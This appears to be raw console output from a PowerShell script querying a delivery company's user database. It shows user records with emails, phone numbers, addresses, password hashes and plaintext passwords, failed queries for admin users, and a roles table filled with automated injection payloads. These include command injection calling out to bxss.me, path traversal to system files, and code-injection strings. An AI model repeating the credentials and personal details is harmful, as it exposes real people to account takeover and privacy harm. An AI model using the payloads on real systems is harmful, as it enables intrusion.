User columns: Id|UserName|NormalizedUserName|Email|NormalizedEmail|EmailConfirmed|PasswordHash|SecurityStamp|ConcurrencyStamp|PhoneNumber|PhoneNumberConfirmed|TwoFactorEnabled|LockoutEnd|LockoutEnabled|AccessFailedCount|CreatedTime|UpdatedTime|IsDeleted|Password|Address|FullName|Position|Discriminator|DateOfBirth|FacebookContact|Gender|ZaloContact|BranchId|ApplyDefaultFeeConfig|ApplyDefaultAreaConfig|ApplyDefaultStatusConfig|LastPaymentRegularDate|IsCollectVAT|IsUsingAPI|CodNotCharge|InsuranceNotCharge|ReturnPercentFee|Code|CustomerParentId|ManagerId|InsurancePercentFee|CodPercentFee| 2|Quylacda-1986|QUYLACDA-1986|phamvanquy.wow@gmail.com|PHAMVANQUY.WOW@GMAIL.COM|False|AQAAAAEAACcQAAAAELJgsKeUVhy9CChK0F/sI7rd...|D7Z5CQSR75GJRPMZPBVVRG7KTS65UUOL|03c84760-aeae-459a-a27f-cd4ea1601fa3|0355191086|False|False|5/23/2043 1:35:12 PM +07:00|True|0|1/1/0001 12:00:00 AM +00:00|1/1/0001 12:00:00 AM +00:00|False|Reset776!|S? 4 ngo 1 d? nhu?n , xuƒn d?nh, b?c t? ...|Ph?m van quy||SystemUser|||||0|||||||||||||| 3|Phuongvt|PHUONGVT|vutrongphuong87@gmail.com|VUTRONGPHUONG87@GMAIL.COM|False|AQAAAAEAACcQAAAAEHqQyhT2pdNxpNaS9ZxfkSwE...|SCYGFBB2ZAVCRZR3CUQPWG3TAFIYZS2K|4f796b91-4921-492c-8dfc-e326f42bbf45|0904985875|False|False|8/10/2043 2:27:29 PM +07:00|True|0|1/1/0001 12:00:00 AM +00:00|1/1/0001 12:00:00 AM +00:00|False|Reset444!|B?c T? Liˆm, H… N?i|Vu Tr?ng Phuong||SystemUser|||||0|||||||||||||| 5|Tungnv87|TUNGNV87|tungmo87@gmail.com|TUNGMO87@GMAIL.COM|False|AQAAAAEAACcQAAAAEO6X2brVBqiheHonQfIs5C16...|N7RUPZJPKKHZWJM6VNIAEZ2SHZ3MDVJP|6fcbb245-76b7-4de4-b42c-c021e304ead5|0934160587|False|False|8/23/2024 6:01:45 AM +00:00|True|0|1/1/0001 12:00:00 AM +00:00|1/1/0001 12:00:00 AM +00:00|False|Reset353!|Tƒy H? - H… N?i|Nguy?n Van T—ng||SystemUser|1/1/0001 12:00:00 AM +00:00||0||0|||||||||||||| Exception calling "ExecuteReader" with "0" argument(s): "Invalid column name 'UserType'. Invalid column name 'UserType'." At D:\Media\u1\ac8fcce8.ps1:27 char:1 + $rd=$cmd.ExecuteReader() + ~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : SqlException === Admin users (UserType>=10) === Exception calling "Read" with "0" argument(s): "Invalid attempt to call Read when reader is closed." At D:\Media\u1\ac8fcce8.ps1:29 char:7 + while($rd.Read()){ + ~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : InvalidOperationException Exception calling "ExecuteReader" with "0" argument(s): "Invalid column name 'UserType'. Invalid column name 'UserType'." At D:\Media\u1\ac8fcce8.ps1:36 char:1 + $rd=$cmd.ExecuteReader() + ~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : SqlException === Users by type === Exception calling "Read" with "0" argument(s): "Invalid attempt to call Read when reader is closed." At D:\Media\u1\ac8fcce8.ps1:38 char:7 + while($rd.Read()){Write-Output (" Type="+$rd[0]+": "+$rd[1]+" users" ... + ~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : InvalidOperationException === Roles === Id=1 | Name=System Id=2 | Name=OpsManager Id=3 | Name=Admin Id=4 | Name=Content Id=5 | Name=Driver Id=6 | Name=Accountant Id=7 | Name=HR Id=8 | Name=AccountManager Id=9 | Name=Marketing Id=1009 | Name=ZMskyuza Id=1010 | Name=1NGv4x4tO Id=1011 | Name=response.write(9301588*9267066) Id=1012 | Name=/../../../../../../../../../../windows/system32/BITSADMIN.exe Id=1013 | Name=echo heftfk$()\ gbtwyj\nz^xyu||a #' &echo heftfk$()\ gbtwyj\nz^xyu||a #|" &echo heftfk$()\ gbtwyj\nz^xyu||a # Id=1014 | Name='+response.write(9301588*9267066)+' Id=1015 | Name=0nlPmYX8 Id=1016 | Name="+response.write(9301588*9267066)+" Id=1017 | Name=&echo uufqrv$()\ lelelb\nz^xyu||a #' &echo uufqrv$()\ lelelb\nz^xyu||a #|" &echo uufqrv$()\ lelelb\nz^xyu||a # Id=1018 | Name=Xp4EesC8: c7hrjohD Id=1019 | Name=../../../../../../../../../../../../../../etc/passwd Id=1020 | Name=<% response.write(9301588*9267066) %> Id=1021 | Name=ZMskyuza&echo woksdl$()\ vqqyhg\nz^xyu||a #' &echo woksdl$()\ vqqyhg\nz^xyu||a #|" &echo woksdl$()\ vqqyhg\nz^xyu||a # Id=1022 | Name=../../../../../../../../../../../../../../windows/win.ini Id=1023 | Name=+response.write(9301588*9267066)' Id=1024 | Name=file:///etc/passwd Id=1025 | Name=|echo azlzjf$()\ lrbxqr\nz^xyu||a #' |echo azlzjf$()\ lrbxqr\nz^xyu||a #|" |echo azlzjf$()\ lrbxqr\nz^xyu||a # Id=1026 | Name=ZMskyuza Id=1027 | Name=ZMskyuza|echo wgulss$()\ avphri\nz^xyu||a #' |echo wgulss$()\ avphri\nz^xyu||a #|" |echo wgulss$()\ avphri\nz^xyu||a # Id=1028 | Name=12345'"\'\");|]*{ <>%bf''d??­ Id=1029 | Name=../ZMskyuza Id=1030 | Name=(nslookup -q=cname hitwupfgqabln83f4a.bxss.me||curl hitwupfgqabln83f4a.bxss.me)) Id=1031 | Name=http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg Id=1032 | Name=${10000473+9999415} Id=1033 | Name=$(nslookup -q=cname hitgkdnbdgjmdb9cfe.bxss.me||curl hitgkdnbdgjmdb9cfe.bxss.me) Id=1034 | Name=1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg Id=1035 | Name=./ZMskyuza Id=1036 | Name=&nslookup -q=cname hithkkzchqhvi92589.bxss.me&'\"`0&nslookup -q=cname hithkkzchqhvi92589.bxss.me&`' Id=1037 | Name=RzJuNmdlODM= Id=1038 | Name=Http://bxss.me/t/fit.txt Id=1039 | Name=ZMskyuza&n913996=v946694 Id=1040 | Name=&(nslookup -q=cname hitygjmpkdosaedc0a.bxss.me||curl hitygjmpkdosaedc0a.bxss.me)&'\"`0&(nslookup -q=cname hitygjmpkdosaedc0a.bxss.me||curl hitygjmpkdosaedc0a.bxss.me)&`' Id=1041 | Name=http://bxss.me/t/fit.txt?.jpg Id=1042 | Name=) Id=1043 | Name='"() Id=1044 | Name=|(nslookup -q=cname hitxyxbstfiva891b4.bxss.me||curl hitxyxbstfiva891b4.bxss.me) Id=1045 | Name=!(()&&!|*|*| Id=1046 | Name=ZMskyuza'&&sleep(27*1000)*wejirr&&' Id=1047 | Name=`(nslookup -q=cname hitrjxbyjnlfy14bd6.bxss.me||curl hitrjxbyjnlfy14bd6.bxss.me)` Id=1048 | Name=/etc/shells Id=1049 | Name=ZMskyuza"&&sleep(27*1000)*zokgiq&&" Id=1050 | Name=^(#$!@#$)(()))****** Id=1051 | Name=;(nslookup -q=cname hityyzdcntjwn4198c.bxss.me||curl hityyzdcntjwn4198c.bxss.me)|(nslookup -q=cname hityyzdcntjwn4198c.bxss.me||curl hityyzdcntjwn4198c.bxss.me)&(nslookup -q=cname hityyzdcntjwn4198c.bxss.me||curl hityyzdcntjwn4198c.bxss.me) Id=1052 | Name=ZMskyuza'||sleep(27*1000)*kthusc||' Id=1053 | Name='.gethostbyname(lc('hitci'.'ziqicwfqac958.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(82).chr(117).chr(77).' Id=1054 | Name=|(nslookup${IFS}-q${IFS}cname${IFS}hitfshxqtlhbza9917.bxss.me||curl${IFS}hitfshxqtlhbza9917.bxss.me) Id=1055 | Name=".gethostbyname(lc("hitoq"."ggramlkh578fb.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(74).chr(109).chr(74)." Id=1056 | Name=../../../../../../../../../../../../../../etc/shells Id=1057 | Name=&(nslookup${IFS}-q${IFS}cname${IFS}hitnkgojddgbk83129.bxss.me||curl${IFS}hitnkgojddgbk83129.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnkgojddgbk83129.bxss.me||curl${IFS}hitnkgojddgbk83129.bxss.me)&`' Id=1058 | Name=ZMskyuza"||sleep(27*1000)*tcdixr||" Id=1059 | Name=gethostbyname(lc('hitit'.'wwiajswm7e0e7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(70).chr(102).chr(80) Id=1060 | Name=;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); Id=1061 | Name=c:/windows/win.ini Id=1062 | Name="+"A".concat(70-3).concat(22*4).concat(115).concat(78).concat(108).concat(88)+(require"socket" Socket.gethostbyname("hitgd"+"brkmqqhg2dc6d.bxss.me.")[3].to_s)+" Id=1063 | Name=';print(md5(31337));$a=' Id=1064 | Name=bxss.me Id=1065 | Name='+'A'.concat(70-3).concat(22*4).concat(117).concat(80).concat(102).concat(86)+(require'socket' Socket.gethostbyname('hitjo'+'urszfprbb7315.bxss.me.')[3].to_s)+' Id=1066 | Name=HttP://bxss.me/t/xss.html?%00 Id=1067 | Name=))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) Id=1068 | Name='A'.concat(70-3).concat(22*4).concat(113).concat(67).concat(102).concat(80)+(require'socket' Socket.gethostbyname('hitmj'+'mhtnnihc0c401.bxss.me.')[3].to_s) Id=1069 | Name=";print(md5(31337));$a=" Id=1070 | Name=CreateRole Id=1071 | Name='" Id=1072 | Name=https://id.ladaexpress.vn/ Id=1073 | Name=